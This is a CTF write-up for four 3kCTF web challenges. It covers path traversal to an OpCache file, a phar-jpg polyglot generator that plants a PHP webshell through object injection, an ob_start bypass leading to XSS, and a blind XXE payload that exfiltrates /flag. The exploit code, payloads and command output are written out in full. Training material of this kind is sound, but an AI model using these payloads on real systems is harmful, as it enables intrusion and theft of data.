메인 컨텐츠로 넘어가기

3kCTF Write ups for web

  • note: reporter is solved by adragos@WreckTheLine. So, write up of that task will not be contained in this document.

carthagods - 10 solves(First Blood)

Description:

Salute the carthagods!

Author: rekter0, Dali

Hints
1. redacted source

When I approached to page, we can see the links like below

Baal        ->  /baal
Tanit       ->  /tanit
Dido        ->  /dido
caelestis   ->  /caelestis
phpinfo     ->  /info.php
FLAG        ->  /flag.php

We can guess the server is using mod_rewrite easily. And there is a folder named css and js.

If server has mis-configuration with mod_rewrite, we can get the name of variable.

So, If you access http://carthagods.3k.ctf.to:8039/js, you will get http://carthagods.3k.ctf.to:8039/js/?eba1b61134bf5818771b8c3203a16dc9=js.

Yeah, That parameter name was eba1b61134bf5818771b8c3203a16dc9.

we can get file contents like ?eba1b61134bf5818771b8c3203a16dc9=../../../../../etc/passwd

It's time to see phpinfo. There is something interesting with OpCache.

opcache.file_cache  =  /var/www/cache/

Server is using Opcache File. Now, we can realize there will be a cache file of flag.php. And that will not contains <?php (As the page was filtering that string, we need to bypass).

When I search about OpCache File, I got this document https://blog.alyac.co.kr/619 (written in Korean).

So, I can realize the cache file directory will be /var/www/cache/[system_id]/var/www/html/flag.php.bin.

For getting system_id, I used https://github.com/GoSecure/php7-opcache-override.

The system_id was e2c6579e4df1d9e77e36d2f4ff8c92b3 and I got flag from http://carthagods.3k.ctf.to:8039/?eba1b61134bf5818771b8c3203a16dc9=../../../../../../var/www/cache/e2c6579e4df1d9e77e36d2f4ff8c92b3/var/www/html/flag.php.bin

3k{Hail_the3000_years_7hat_are_b3h1nd}

image uploader - 5 solves (Second Blood)

Description:

challenge
source

Author: dali

Code review:

index.php       - we can get image via file_get_contents function(Even, php:// is not banned)

old.php         - there are two classes cl1, cl2

upload.php      - check is this real image file with getimagesize and upload.

The trigger:

index.php       - I can read .phar file like this php://filter/read/resource=phar://

old.php         - If I can use this classes, I can inject a data what I want(Arbitray Code Execution)

upload.php      - Just upload a jpg phar image. I'll use https://github.com/kunte0/phar-jpg-polyglot

Analysis of old.php:

class c1        - File management using class c2
How to use:
    $c1 = new cl1((new cl2), filename, expire)
Also, __desturct calls $this->save(); We can use for PHP Object Injection

class c2        - File store
the filename will be $this->options['prefix'].$filename because of $this->getCacheKey()
$data contains exit(); So, we need to bypass this one.

Exploit:

$cl1->complete variable is send to cl2->set. So, I'll use $this->complete for inserting payload.

$c1->autosave have to be false for do $this->save on __destruct()

$cl2->options['prefix'] have to be "php://filter/write=convert.base64-decode/resource="
Because we need to bypass exit(). So, I'll decode the contents of $data as base64.
$cl2->options['serialize'] will be 'serialize' because of below reason

$data = $this->serialize($value);
=>
protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }
$this->serialize() is $this->options['serialize']();

Generating Phar jpg:

<?php

function generate_base_phar($o, $prefix){
    global $tempname;
    @unlink($tempname);
    $phar = new Phar($tempname);
    $phar->startBuffering();
    $phar->addFromString("test.txt", "test");
    $phar->setStub("$prefix<?php __HALT_COMPILER(); ?>");
    $phar->setMetadata($o);
    $phar->stopBuffering();

    $basecontent = file_get_contents($tempname);
    @unlink($tempname);
    return $basecontent;
}

function generate_polyglot($phar, $jpeg){
    $phar = substr($phar, 6); // remove <?php dosent work with prefix
    $len = strlen($phar) + 2; // fixed 
    $new = substr($jpeg, 0, 2) . "\xff\xfe" . chr(($len >> 8) & 0xff) . chr($len & 0xff) . $phar . substr($jpeg, 2);
    $contents = substr($new, 0, 148) . "        " . substr($new, 156);

    // calc tar checksum
    $chksum = 0;
    for ($i=0; $i<512; $i++){
        $chksum += ord(substr($contents, $i, 1));
    }
    // embed checksum
    $oct = sprintf("%07o", $chksum);
    $contents = substr($contents, 0, 148) . $oct . substr($contents, 155);
    return $contents;
}

include "../image_uploader/html/old.php";

// pop exploit class
$cl2 = new cl2;
$cl1 = new cl1($cl2, "sqrtrev.php", null);

$cl1->cache = ["asd"];
$cl1->complete = "APD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pg=="; //First A is for padding
$cl1->autosave = false;

$cl2->options['prefix'] = "php://filter/write=convert.base64-decode/resource=";
$cl2->options['data_compress'] = false;
$cl2->options['serialize'] = 'serialize';

// config for jpg
$tempname = 'temp.tar.phar'; // make it tar
$jpeg = file_get_contents('in.jpg');
$outfile = 'out.jpg';
$payload = $cl1;
$prefix = '';
var_dump(serialize($cl1));
file_put_contents($outfile, generate_polyglot(generate_base_phar($payload, $prefix), $jpeg));

In my case, the filename was 442df48bef86cb9746ce0584349f06b937703be1c0b5c57865c3522b22c3cef7.jpg.

So I accessed http://imageuploader.3k.ctf.to:8081/?img=php://filter/read/resource=phar://442df48bef86cb9746ce0584349f06b937703be1c0b5c57865c3522b22c3cef7.jpg/asd

And there will be up/sqrtrev.php.

http://imageuploader.3k.ctf.to:8081/up/sqrtrev.php?cmd=ls%20/

bin boot dev etc home lib lib64 media mnt opt proc qUHwHtel41OiCDotoenbwdF5IgmWQ5_README root run sbin srv sys tmp usr var

http://imageuploader.3k.ctf.to:8081/up/sqrtrev.php?cmd=cat%20/qUHwHtel41OiCDotoenbwdF5IgmWQ5_README

3k{phar_D3seriaLizati0N_2_Rce_:o}

xsser - 4 solves

Description:

challenge

Author: Dali

index.php

<?php
include('flag.php');
class User

{
    public $name;
    public $isAdmin;
    public function __construct($nam)
    {
        $this->name = $nam;
        $this->isAdmin=False;
    }
}

ob_start();
if(!(isset($_GET['login']))){
    $use=new User('guest');
    $log=serialize($use);
    header("Location: ?login=$log");
    exit();

}

$new_name=$_GET['new'];
if (isset($new_name)){


  if(stripos($new_name, 'script'))//no xss :p 
                 { 
                    $new_name = htmlentities($new_name);
                 }
        $new_name = substr($new_name, 0, 32);
  echo '<h1 style="text-align:center">Error! Your msg '.$new_name.'</h1><br>';
  echo '<h1>Contact admin /req.php </h1>';

}
 if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
            setcookie("session", $flag, time() + 3600);
        }
$check=unserialize(substr($_GET['login'],0,56));
if ($check->isAdmin){
    echo 'welcome back admin ';
}
ob_end_clean();
show_source(__FILE__);

There is ob_start(); on page, and this will make me display nothing with my parameters.

So, we need to break ob_start(). When I searched for this, I found this document, https://dustri.org/b/intended-solutions-for-35c3ctf-2018-web-php.html

So, the payload for breaking ob_start() will be O:4:"User":2:{s:4:"name";O:9:"Throwable":0:{};s:7:"isAdmin";b:0;}

http://xsser.3k.ctf.to/?login=O:4:%22User%22:2:%7Bs:4:%22name%22;O:9:%22Throwable%22:0:%7B%7D;s:7:%22isAdmin%22;b:0;%7D

Yeah It takes 500 Internal Error.

http://xsser.3k.ctf.to/?login=O:4:%22User%22:2:%7Bs:4:%22name%22;O:9:%22Throwable%22:0:%7B%7D;s:7:%22isAdmin%22;b:0;%7D&new=asd

Now, we can write something what we want on page. This one will occur XSS.

And we can bypass the length limit like <img src=x onerror=eval(name) />.

I'll code my server for open() and set window.name as payload.

After send this to bot, I can get flag.

3k{3asy_XsS_&_pHp_Ftw}

wwww - 2 solves (Second Blood)

Description:

Developing a complete application in 3 days was difficult for me, so I just installed the necessary configuration and files.

Do you think i still need to update my app?
"prove it :)"

challenge

* sort of bounty alike challenge

Author: TnMch, Dali

If you see the page, we will get this js code.

var _0x12f0=['C2v0uMvXDwvZDeHLywrLCG==','yxbWBgLJyxrPB24VEc13D3CTzM9YBs11CMXLBMnVzgvK','B3bLBG==','pd94BwWGDMvYC2LVBJ0Ims4WiIbLBMnVzgLUzZ0IvvrgltGIpZ4=','pgvTywLSpG==','DMfSDwu=','C2XPy2u=','phn1yNnJCMLIzt4=','q29UDgvUDc10ExbL','BgvUz3rO','zw1HAwW=','Afn1DxP1s2rRDKPLv2DQvW==','yxbPlNbOCa==','y2HHCKnVzgvbDa==','zNjVBunOyxjdB2rL','ue9tva==','pc9LBwfPBd4=','Eg1Spq==','pc9ZDwjZy3jPyMu+','BwfW','y2fSBa==','C2vUza==','AM9PBG==','z2v0rwXLBwvUDej5swq=','ChjVDg90ExbL'];(function(_0x2dce72,_0x12f09f){var _0x57c8e1=function(_0x25546b){while(--_0x25546b){_0x2dce72['push'](_0x2dce72['shift']());}};_0x57c8e1(++_0x12f09f);}(_0x12f0,0x124));var _0x57c8=function(_0x2dce72,_0x12f09f){_0x2dce72=_0x2dce72-0x0;var _0x57c8e1=_0x12f0[_0x2dce72];if(_0x57c8['fGHYAk']===undefined){var _0x25546b=function(_0x29e09c){var _0x470e4d='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=',_0x393484=String(_0x29e09c)['replace'](/=+$/,'');var _0x4c9b99='';for(var _0x8636d7=0x0,_0x2cb8aa,_0x101f8d,_0xcd4247=0x0;_0x101f8d=_0x393484['charAt'](_0xcd4247++);~_0x101f8d&&(_0x2cb8aa=_0x8636d7%0x4?_0x2cb8aa*0x40+_0x101f8d:_0x101f8d,_0x8636d7++%0x4)?_0x4c9b99+=String['fromCharCode'](0xff&_0x2cb8aa>>(-0x2*_0x8636d7&0x6)):0x0){_0x101f8d=_0x470e4d['indexOf'](_0x101f8d);}return _0x4c9b99;};_0x57c8['bsjqpU']=function(_0x2d613b){var _0xc62bd=_0x25546b(_0x2d613b);var _0x748971=[];for(var _0x33ccac=0x0,_0x4e0fbd=_0xc62bd['length'];_0x33ccac<_0x4e0fbd;_0x33ccac++){_0x748971+='%'+('00'+_0xc62bd['charCodeAt'](_0x33ccac)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x748971);},_0x57c8['lPaZPW']={},_0x57c8['fGHYAk']=!![];}var _0x1a3709=_0x57c8['lPaZPW'][_0x2dce72];_0x1a3709===undefined?(_0x57c8e1=_0x57c8['bsjqpU'](_0x57c8e1),_0x57c8['lPaZPW'][_0x2dce72]=_0x57c8e1):_0x57c8e1=_0x1a3709;return _0x57c8e1;};function _0x42d338(_0xad840f,_0x2baeca){var _0x129300=_0xad840f[_0x57c8('0x11')];return Array[_0x57c8('0x7')][_0x57c8('0xe')][_0x57c8('0x3')](_0x2baeca)[_0x57c8('0x2')](function(_0x2fd7c5,_0x5adecd){return String[_0x57c8('0x16')](_0x2fd7c5[_0x57c8('0x15')](0x0)^_0xad840f[_0x5adecd%_0x129300][_0x57c8('0x15')](0x0));})[_0x57c8('0x5')]('');}function _0x2a1b34(){email=document[_0x57c8('0x6')](_0x57c8('0x12'))[_0x57c8('0xd')];var _0x3fd6ce=''+_0x57c8('0xb')+_0x57c8('0xf')+_0x57c8('0xc')+email+_0x57c8('0x18')+_0x57c8('0x1');_0x3fd6ce=btoa(_0x42d338(_0x57c8('0x13'),_0x3fd6ce));var _0x31c176=new XMLHttpRequest();_0x31c176[_0x57c8('0xa')](_0x57c8('0x17'),_0x57c8('0x14'),!![]);_0x31c176[_0x57c8('0x8')](_0x57c8('0x10'),_0x57c8('0x9'));var _0x39826c=_0x57c8('0x0')+escape(_0x3fd6ce);_0x31c176[_0x57c8('0x4')](_0x39826c);return'';}

And If we deobfuscate the code, we will get this.

function xor(key, value) {
    var keyLen = key.length;
    return Array.prototype.slice.call(value).map(function(char, idx) {
        return String.fromCharCode(char.charCodeAt(0) ^ key[idx % keyLen].charCodeAt(0));
    }).join('');
}
function signup() {
    email = "sqrtrev@gmail.com";
    var xml = `<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://php.vuln.live/"> ]><subscribe><email>` + email + `</email><sqrtrev>&xxe;</sqrtrev></subscribe>`;
    xml = btoa(xor("hSuuzuKdkvJeWgjW", xml));
    var xmlRequest = new XMLHttpRequest();
    xmlRequest.open("POST", "api.php", true);
    xmlRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    var body = "xml=" + escape(xml);
    xmlRequest.send(body);
    return '';
}

Now, It looks like a kind of XXE.

But If you try XXE to external address, You will get errors. It works only with localhost.

While researching some skill, my teammates got /db directory.

At the last of /db, there is define.php located.

Let's see http://wwwweb.3k.ctf.to/define.php

we got

{"msg":"sid={sid_id_given}}","read":"\/define.php?sid={sid_id_given}","write":"\/define.php?sid={sid_id_given}&key=test&value=test"}

And after some tries, I realize we can read, write what we want on this page with sid

It's easy now. We can chain the blind xxe to http://localhost/define.php?sid=sid&key=asd&value= for leaking file contents.

The final payload is below

function signup() {
    var xml = `<!DOCTYPE r [\r\n  <!ELEMENT r ANY >\r\n  <!ENTITY % sp SYSTEM "php://filter//resource=data://text/plain;base64,PCFFTlRJVFkgJSBkYXRhIFNZU1RFTSAicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT1maWxlOi8vL2ZsYWciPjwhRU5USVRZICUgcGFyYW0xICc8IUVOVElUWSBleGZpbCBTWVNURU0gImh0dHA6Ly9sb2NhbGhvc3QvZGVmaW5lLnBocD9zaWQ9TmdwNlR0WnpyMnZKT0FvOHlRTUxHMGU1eFdhYlNxVUMmIzM4O2tleT14eGUmIzM4O3ZhbHVlPSVkYXRhOyI+Jz4="> %sp; %param1;\r\n]>\r\n<subscribe><email>&exfil;</email></subscribe>`;
    xml = btoa(xor("hSuuzuKdkvJeWgjW", xml));
    var xmlRequest = new XMLHttpRequest();
    xmlRequest.open("POST", "api.php", true);
    xmlRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    var body = "xml=" + escape(xml);
    xmlRequest.send(body);
    return '';
}

After this, we can read flag in define.php

3k{cL457rBpVxsJnRXNR9vW6uR4hbKszeFs}
컨텐츠 처음으로 돌아가기